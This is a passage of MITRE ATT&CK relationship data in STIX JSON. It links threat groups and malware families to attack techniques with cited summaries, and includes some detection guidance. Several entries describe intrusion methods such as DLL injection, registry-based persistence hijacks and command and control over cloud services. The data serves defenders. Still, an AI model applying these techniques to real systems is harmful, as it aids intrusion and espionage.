8b55e40b5","external_references":[{"url":"https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf","description":"FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved March 1, 2018.","source_name":"FireEye APT37 Feb 2018"},{"source_name":"Unit 42 Nokki Oct 2018","url":"https://researchcenter.paloaltonetworks.com/2018/10/unit42-nokki-almost-ties-the-knot-with-dogcall-reaper-group-uses-new-malware-to-deploy-rat/","description":"Grunzweig, J. (2018, October 01). NOKKI Almost Ties the Knot with DOGCALL: Reaper Group Uses New Malware to Deploy RAT. Retrieved November 5, 2018."}],"modified":"2020-03-20T21:09:51.958Z","description":"[DOGCALL](https://attack.mitre.org/software/S0213) is capable of leveraging cloud storage APIs such as Cloud, Box, Dropbox, and Yandex for C2.(Citation: FireEye APT37 Feb 2018)(Citation: Unit 42 Nokki Oct 2018)","relationship_type":"uses","source_ref":"malware--0852567d-7958-4f4b-8947-4f840ec8d57d","target_ref":"attack-pattern--be055942-6e63-49d7-9fa1-9cb7d8a8f3f4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--c2fd3989-eb79-4a13-93ca-8ac8dfcb0ac0","created":"2022-04-11T16:26:27.280Z","x_mitre_version":"0.1","x_mitre_deprecated":false,"revoked":false,"description":"Monitor for plist file modification, especially if immediately followed by other suspicious events such as code execution from \\~/Library/Scripts or \\~/Library/Preferences. Also, monitor for significant changes to any path pointers in a modified plist.","modified":"2022-04-20T22:00:15.626Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"detects","source_ref":"x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8","target_ref":"attack-pattern--7d20fff9-8751-404e-badd-ccd71bda0236","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c3086516-a419-4e7f-87c4-e37f08d0f27a","type":"relationship","created":"2020-06-17T20:39:12.746Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 BackConfig May 2020","url":"https://unit42.paloaltonetworks.com/updated-backconfig-malware-targeting-government-and-military-organizations/","description":"Hinchliffe, A. and Falcone, R. (2020, May 11). Updated BackConfig Malware Targeting Government and Military Organizations in South Asia. Retrieved June 17, 2020."}],"modified":"2020-06-29T15:22:59.188Z","description":"[BackConfig](https://attack.mitre.org/software/S0475) has the ability to use HTTPS for C2 communiations.(Citation: Unit 42 BackConfig May 2020)","relationship_type":"uses","source_ref":"malware--c13d9621-aca7-436b-ab3d-3a95badb3d00","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--c313b2dd-2f30-408d-aeef-59e41ef38927","created":"2024-08-07T20:27:38.484Z","revoked":false,"external_references":[{"source_name":"Mandiant ROADSWEEP August 2022","description":"Jenkins, L. at al. (2022, August 4). ROADSWEEP Ransomware - Likely Iranian Threat Actor Conducts Politically Motivated Disruptive Activity Against Albanian Government Organizations. Retrieved August 6, 2024.","url":"https://cloud.google.com/blog/topics/threat-intelligence/likely-iranian-threat-actor-conducts-politically-motivated-disruptive-activity-against/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-07T20:27:38.484Z","description":"[CHIMNEYSWEEP](https://attack.mitre.org/software/S1149) has the ability to use use Telegram channels to return a list of commands to be executed, to download additional payloads, or to create a reverse shell.(Citation: Mandiant ROADSWEEP August 2022)","relationship_type":"uses","source_ref":"malware--542e3384-341a-455b-bb48-4917b25e3b00","target_ref":"attack-pattern--830c9528-df21-472c-8c14-a036bf17d665","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c31643e8-86a3-49e4-bd69-572d7e64c7c0","type":"relationship","created":"2019-01-29T20:17:49.374Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Horejsi, J., et al. (2018, March 14). Tropic Trooper’s New Strategy. Retrieved November 9, 2018.","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/tropic-trooper-new-strategy/","source_name":"TrendMicro Tropic Trooper Mar 2018"},{"source_name":"TrendMicro Tropic Trooper May 2020","url":"https://documents.trendmicro.com/assets/Tech-Brief-Tropic-Trooper-s-Back-USBferry-Attack-Targets-Air-gapped-Environments.pdf","description":"Chen, J.. (2020, May 12). Tropic Trooper’s Back: USBferry Attack Targets Air gapped Environments. Retrieved May 20, 2020."}],"modified":"2020-05-21T14:55:00.407Z","description":"[Tropic Trooper](https://attack.mitre.org/groups/G0081) has injected a DLL backdoor into dllhost.exe and svchost.exe.(Citation: TrendMicro Tropic Trooper Mar 2018)(Citation: TrendMicro Tropic Trooper May 2020)","relationship_type":"uses","source_ref":"intrusion-set--56319646-eb6e-41fc-ae53-aadfa7adb924","target_ref":"attack-pattern--f4599aa0-4f85-4a32-80ea-fc39dc965945","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--c31ccdbd-e501-41cb-98d9-46cdff9be1c0","created":"2023-07-28T17:40:45.983Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Sygnia Elephant Beetle Jan 2022","description":"Sygnia Incident Response Team. (2022, January 5). TG2003: ELEPHANT BEETLE UNCOVERING AN ORGANIZED FINANCIAL-THEFT OPERATION. Retrieved February 9, 2023.","url":"https://f.hubspotusercontent30.net/hubfs/8776530/Sygnia-%20Elephant%20Beetle_Jan2022.pdf?__hstc=147695848.3e8f1a482c8f8d4531507747318e660b.1680005306711.1680005306711.1680005306711.1&__hssc=147695848.1.1680005306711&__hsfp=3000179024&hsCtaTracking=189ec409-ae2d-4909-8bf1-62dcdd694372%7Cca91d317-8f10-4a38-9f80-367f551ad64d"},{"source_name":"Mandiant FIN13 Aug 2022","description":"Ta, V., et al. (2022, August 8). FIN13: A Cybercriminal Threat Actor Focused on Mexico. Retrieved February 9, 2023.","url":"https://www.mandiant.com/resources/blog/fin13-cybercriminal-mexico"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-29T18:38:18.957Z","description":"[FIN13](https://attack.mitre.org/groups/G1016) has executed net view commands for enumeration of open shares on compromised machines.(Citation: Mandiant FIN13 Aug 2022)(Citation: Sygnia Elephant Beetle Jan 2022)","relationship_type":"uses","source_ref":"intrusion-set--fd66436e-4d33-450e-ac4c-f7810f1c85f4","target_ref":"attack-pattern--3489cfc5-640f-4bb3-a103-9137b97de79f","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c31d35a1-79b9-41de-8a69-7593ae410ec4","type":"relationship","created":"2022-03-30T14:26:51.866Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.866Z","description":"Monitor for newly constructed drive letters or mount points to removable media","source_ref":"x-mitre-data-component--3d6e6b3b-4aa8-40e1-8c47-91db0f313d9f","target_ref":"attack-pattern--3b744087-9945-4a6f-91e8-9dbceda417a4","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--c31f9082-3dc3-48e6-9897-99f26a60b63b","created":"2022-03-30T14:26:51.866Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-07-06T12:32:52.414Z","description":"Monitor for common cryptomining or proxyware software process names that may indicate compromise and resource usage.","relationship_type":"detects","source_ref":"x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077","target_ref":"attack-pattern--cd25c1b4-935c-4f0e-ba8d-552f28bc4783","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--c32532a7-44bc-40a4-83ae-33903c6f1002","created":"2024-07-25T17:22:40.600Z","revoked":false,"external_references":[{"source_name":"Symantec Daggerfly 2023","description":"Threat Hunter Team. (2023, April 20). Daggerfly: APT Actor Targets Telecoms Company in Africa. Retrieved July 25, 2024.","url":"https://symantec-enterprise-blogs.security.com/threat-intelligence/apt-attacks-telecoms-africa-mgbot"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-07-25T17:22:40.600Z","description":"[Daggerfly](https://attack.mitre.org/groups/G1034) proxied execution of malicious DLLs through a renamed rundll32.exe binary.(Citation: Symantec Daggerfly 2023)","relationship_type":"uses","source_ref":"intrusion-set--f3be6240-f68e-47e1-90d2-ad8f3b3bb8a6","target_ref":"attack-pattern--045d0922-2310-4e60-b5e4-3302302cb3c5","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c327c333-46c4-4e23-81e0-2f0e07c24c11","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye APT30","description":"FireEye Labs. (2015, April). APT30 AND THE MECHANICS OF A LONG-RUNNING CYBER ESPIONAGE OPERATION. Retrieved May 1, 2015.","url":"https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"}],"modified":"2020-03-17T00:19:38.042Z","description":"[BACKSPACE](https://attack.mitre.org/software/S0031) achieves persistence by creating a shortcut to itself in the CSIDL_STARTUP directory.(Citation: FireEye APT30)","relationship_type":"uses","source_ref":"malware--fb261c56-b80e-43a9-8351-c84081e7213d","target_ref":"attack-pattern--4ab929c6-ee2d-4fb5-aab4-b14be2ed7179","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--c3292719-cc3d-4f3f-9f8a-92dda3c0c72c","created":"2024-05-31T11:07:57.957Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-31T11:07:57.957Z","description":"","relationship_type":"subtechnique-of","source_ref":"attack-pattern--cc36eeae-2209-4e63-89d3-c97e19edf280","target_ref":"attack-pattern--799ace7f-e227-4411-baa0-8868704f2a69","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--c32ad752-3f38-4f34-b00d-c892d8698f0b","created":"2024-07-25T20:40:48.464Z","revoked":false,"external_references":[{"source_name":"Symantec Daggerfly 2023","description":"Threat Hunter Team. (2023, April 20). Daggerfly: APT Actor Targets Telecoms Company in Africa. Retrieved July 25, 2024.","url":"https://symantec-enterprise-blogs.security.com/threat-intelligence/apt-attacks-telecoms-africa-mgbot"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-07-25T20:40:48.464Z","description":"[MgBot](https://attack.mitre.org/software/S1146) includes modules for performing HTTP and server service scans.(Citation: Symantec Daggerfly 2023)","relationship_type":"uses","source_ref":"malware--a36eedea-9523-4abb-96e8-205f171ee763","target_ref":"attack-pattern--e3a12395-188d-4051-9a16-ea8e14d07b88","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c334b4c6-43f1-4452-8a1f-3d056fba9ac0","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.proofpoint.com/us/threat-insight/post/leviathan-espionage-actor-spearphishes-maritime-and-defense-targets","description":"Axel F, Pierre T. (2017, October 16). Leviathan: Espionage actor spearphishes maritime and defense targets. Retrieved February 15, 2018.","source_name":"Proofpoint Leviathan Oct 2017"}],"modified":"2019-04-25T12:24:57.128Z","description":"[Leviathan](https://attack.mitre.org/groups/G0065) has used regsvr32 for execution.(Citation: Proofpoint Leviathan Oct 2017)","relationship_type":"uses","source_ref":"intrusion-set--7113eaa5-ba79-4fb3-b68a-398ee9cd698e","target_ref":"attack-pattern--b97f1d35-4249-4486-a6b5-ee60ccf24fab","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--c336d7c6-0876-445c-8197-924eae28bc16","created":"2022-09-09T16:20:10.948Z","revoked":false,"external_references":[{"source_name":"TrendMicro EarthLusca 2022","description":"Chen, J., et al. (2022). Delving Deep: An Analysis of Earth Lusca’s Operations. Retrieved July 1, 2022.","url":"https://www.trendmicro.com/content/dam/trendmicro/global/en/research/22/a/earth-lusca-employs-sophisticated-infrastructure-varied-tools-and-techniques/technical-brief-delving-deep-an-analysis-of-earth-lusca-operations.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-09T16:20:10.948Z","description":"(Citation: TrendMicro EarthLusca 2022)","relationship_type":"uses","source_ref":"intrusion-set--cc613a49-9bfa-4e22-98d1-15ffbb03f034","target_ref":"tool--981acc4c-2ede-4b56-be6e-fa1a75f37acf","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c339e33e-11c1-4fd3-a117-fab3e44bc714","type":"relationship","created":"2021-10-11T19:34:23.402Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CheckPoint Bandook Nov 2020","url":"https://research.checkpoint.com/2020/bandook-signed-delivered/","description":"Check Point. (2020, November 26). Bandook: Signed & Delivered. Retrieved May 31, 2021."}],"modified":"2021-10-11T19:34:23.402Z","description":"[Bandook](https://attack.mitre.org/software/S0234) has used malicious VBA code against the target system.(Citation: CheckPoint Bandook Nov 2020)","relationship_type":"uses","source_ref":"malware--835a79f1-842d-472d-b8f4-d54b545c341b","target_ref":"attack-pattern--dfd7cc1d-e1d8-4394-a198-97c4cab8aa67","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--c33b2278-04ef-4506-8406-37700b797af6","created":"2024-09-25T19:11:15.883Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Trend Micro Ransomware Spotlight Play July 2023","description":"Trend Micro Research. (2023, July 21). Ransomware Spotlight: Play. Retrieved September 24, 2024.","url":"https://www.trendmicro.com/vinfo/us/security/news/ransomware-spotlight/ransomware-spotlight-play"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-25T19:12:23.154Z","description":"[Play](https://attack.mitre.org/groups/G1040) has used the Grixba information stealer to list security files and processes.(Citation: Trend Micro Ransomware Spotlight Play July 2023)","relationship_type":"uses","source_ref":"intrusion-set--ecbf507f-6786-4121-a4cc-0fd6a8d3a29d","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--c33b6ac0-213a-46a0-8eef-5d287f0c7676","created":"2024-02-12T20:59:43.534Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Ensilo Darkgate 2018","description":"Adi Zeligson & Rotem Kerner. (2018, November 13). Enter The DarkGate - New Cryptocurrency Mining and Ransomware Campaign. Retrieved February 9, 2024.","url":"https://www.fortinet.com/blog/threat-research/enter-the-darkgate-new-cryptocurrency-mining-and-ransomware-campaign"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-02-12T21:00:43.051Z","description":"[DarkGate](https://attack.mitre.org/software/S1111) overrides the %windir% environment variable by setting a Registry key, HKEY_CURRENT_User\\Environment\\windir, to an alternate command to execute a malicious AutoIt script. This allows [DarkGate](https://attack.mitre.org/software/S1111) to run every time the scheduled task DiskCleanup is executed as this uses the path value %windir%\\system32\\cleanmgr.exe for execution.(Citation: Ensilo Darkgate 2018)","relationship_type":"uses","source_ref":"malware--6f6f67c9-556d-4459-95c2-78d272190e52","target_ref":"attack-pattern--0c2d00da-7742-49e7-9928-4514e5075d32","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--c33c2a0f-eb88-43ef-be7b-6311bef2da3d","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Accenture Hogfish April 2018","description":"Accenture Security. (2018, April 23). Hogfish Redleaves Campaign. Retrieved July 2, 2018.","url":"http://web.archive.org/web/20220810112638/https:/www.accenture.com/t20180423T055005Z_w_/se-en/_acnmedia/PDF-76/Accenture-Hogfish-Threat-Analysis.pdf"},{"source_name":"FireEye APT10 April 2017","description":"FireEye iSIGHT Intelligence. (2017, April 6). APT10 (MenuPass Group): New Tools, Global Campaign Latest Manifestation of Longstanding Threat. Retrieved June 29, 2017.","url":"https://www.fireeye.com/blog/threat-research/2017/04/apt10_menupass_grou.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-23T15:06:31.042Z","description":"[RedLeaves](https://attack.mitre.org/software/S0153) can communicate to its C2 over HTTP and HTTPS if directed.(Citation: FireEye APT10 April 2017)(Citation: Accenture Hogfish April 2018)","relationship_type":"uses","source_ref":"malware--17b40f60-729f-4fe8-8aea-cc9ee44a95d5","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c3452c53-d5d0-42e0-873a-c57498d1cbdf","type":"relationship","created":"2022-03-30T14:26:51.857Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.857Z","description":"Monitor for newly constructed network connections that are sent or received by untrusted hosts. ","source_ref":"x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba","target_ref":"attack-pattern--840a987a-99bd-4a80-a5c9-0cb2baa6cade","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--c3499466-50f5-45fb-9fc0-14030e01822f","created":"2022-06-15T18:00:04.357Z","x_mitre_version":"0.1","x_mitre_deprecated":false,"revoked":false,"description":"","modified":"2022-06-15T18:00:04.357Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--3975dbb5-0e1e-4f5b-bae1-cf2ab84b46dc","target_ref":"attack-pattern--799ace7f-e227-4411-baa0-8868704f2a69","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--c349ffd1-a380-4855-af78-8d8d180cc6b9","created":"2024-03-13T21:18:31.457Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"ESET Security Mispadu Facebook Ads 2019","description":"ESET Security. (2019, November 19). Mispadu: Advertisement for a discounted Unhappy Meal. Retrieved March 13, 2024.","url":"https://www.welivesecurity.com/2019/11/19/mispadu-advertisement-discounted-unhappy-meal/"},{"source_name":"SCILabs Malteiro 2021","description":"SCILabs. (2021, December 23). Cyber Threat Profile Malteiro. Retrieved March 13, 2024.","url":"https://blog.scilabs.mx/en/cyber-threat-profile-malteiro/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-25T14:45:37.753Z","description":"[Mispadu](https://attack.mitre.org/software/S1122) can sends the collected financial data to the C2 server.(Citation: ESET Security Mispadu Facebook Ads 2019)(Citation: SCILabs Malteiro 2021)","relationship_type":"uses","source_ref":"malware--4e6464d2-69df-4e56-8d4c-1973f84d7b80","target_ref":"attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--c34b776e-2fca-4ff9-910d-486bf9447d78","created":"2023-03-26T17:55:13.078Z","revoked":false,"external_references":[{"source_name":"CrowdStrike StellarParticle January 2022","description":"CrowdStrike. (2022, January 27). Early Bird Catches the Wormhole: Observations from the StellarParticle Campaign. Retrieved February 7, 2022.","url":"https://www.crowdstrike.com/blog/observations-from-the-stellarparticle-campaign/"},{"source_name":"Microsoft 365 Defender Solorigate","description":"Microsoft 365 Defender Team. (2020, December 28). Using Microsoft 365 Defender to protect against Solorigate. Retrieved January 7, 2021.","url":"https://www.microsoft.com/security/blog/2020/12/28/using-microsoft-365-defender-to-coordinate-protection-against-solorigate/"},{"source_name":"Microsoft Deep Dive Solorigate January 2021","description":"MSTIC, CDOC, 365 Defender Research Team. (2021, January 20). Deep dive into the Solorigate second-stage activation: From SUNBURST to TEARDROP and Raindrop . Retrieved January 22, 2021.","url":"https://www.microsoft.com/security/blog/2021/01/20/deep-dive-into-the-solorigate-second-stage-activation-from-sunburst-to-teardrop-and-raindrop/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-26T17:55:13.078Z","description":"During the [SolarWinds Compromise](https://attack.mitre.org/campaigns/C0024), [APT29](https://attack.mitre.org/groups/G0016) used privileged accounts to replicate directory service data with domain controllers.(Citation: Microsoft 365 Defender Solorigate)(Citation: Microsoft Deep Dive Solorigate January 2021)(Citation: CrowdStrike StellarParticle January 2022)","relationship_type":"uses","source_ref":"campaign--808d6b30-df4e-4341-8248-724da4bac650","target_ref":"attack-pattern--f303a39a-6255-4b89-aecc-18c4d8ca7163","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--c353c2cd-cc78-4d7c-a3b0-5aa1d927368b","created":"2023-04-04T22:42:43.982Z","revoked":false,"external_references":[{"source_name":"SentinelLabs Metador Technical Appendix Sept 2022","description":"SentinelLabs. (2022, September 22). Metador Technical Appendix. Retrieved April 4, 2023.","url":"https://docs.google.com/document/d/1e9ZTW9b71YwFWS_18ZwDAxa-cYbV8q1wUefmKZLYVsA/edit#heading=h.lmnbtht1ikzm"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-04T22:42:43.982Z","description":"[Mafalda](https://attack.mitre.org/software/S1060) can use `AdjustTokenPrivileges()` to elevate privileges.(Citation: SentinelLabs Metador Technical Appendix Sept 2022)","relationship_type":"uses","source_ref":"malware--3be1fb7a-0f7e-415e-8e3a-74a80d596e68","target_ref":"attack-pattern--dcaa092b-7de9-4a21-977f-7fcb77e89c48","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c354bbc0-74c4-4805-b6e6-f33f49272f86","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Gazer Aug 2017","description":"ESET. (2017, August). Gazing at Gazer: Turla’s new second stage backdoor. Retrieved September 14, 2017.","url":"https://www.welivesecurity.com/wp-content/uploads/2017/08/eset-gazer.pdf"},{"source_name":"Securelist WhiteBear Aug 2017","description":"Kaspersky Lab's Global Research & Analysis Team. (2017, August 30). Introducing WhiteBear. Retrieved September 21, 2017.","url":"https://securelist.com/introducing-whitebear/81638/"}],"modified":"2020-03-17T01:22:43.709Z","description":"[Gazer](https://attack.mitre.org/software/S0168) versions are signed with various valid certificates; one was likely faked and issued by Comodo for \"Solid Loop Ltd,\" and another was issued for \"Ultimate Computer Support Ltd.\"(Citation: ESET Gazer Aug 2017)(Citation: Securelist WhiteBear Aug 2017)","relationship_type":"uses","source_ref":"malware--76abb3ef-dafd-4762-97cb-a35379429db4","target_ref":"attack-pattern--32901740-b42c-4fdd-bc02-345b5dc57082","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c354d751-4688-49c5-9f9a-0d2bc705f645","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.secureworks.com/research/bronze-union","description":"Counter Threat Unit Research Team. (2017, June 27). BRONZE UNION Cyberespionage Persists Despite Disclosures. Retrieved July 13, 2017.","source_name":"SecureWorks BRONZE UNION June 2017"}],"modified":"2019-07-14T21:15:55.482Z","description":"(Citation: SecureWorks BRONZE UNION June 2017)","relationship_type":"uses","source_ref":"intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c","target_ref":"tool--294e2560-bd48-44b2-9da2-833b5588ad11","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--c3556085-d0ed-41dc-9ed4-a0a0c65ee104","created":"2021-01-22T21:14:28.221Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"NCC Group Chimera January 2021","description":"Jansen, W . (2021, January 12). Abusing cloud services to fly under the radar. Retrieved September 12, 2024.","url":"https://web.archive.org/web/20230218064220/https://research.nccgroup.com/2021/01/12/abusing-cloud-services-to-fly-under-the-radar/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-12T19:24:40.429Z","description":"[Chimera](https://attack.mitre.org/groups/G0114) has used `fsutil fsinfo drives`, `systeminfo`, and `vssadmin list shadows` for system information including shadow volumes and drive information.(Citation: NCC Group Chimera January 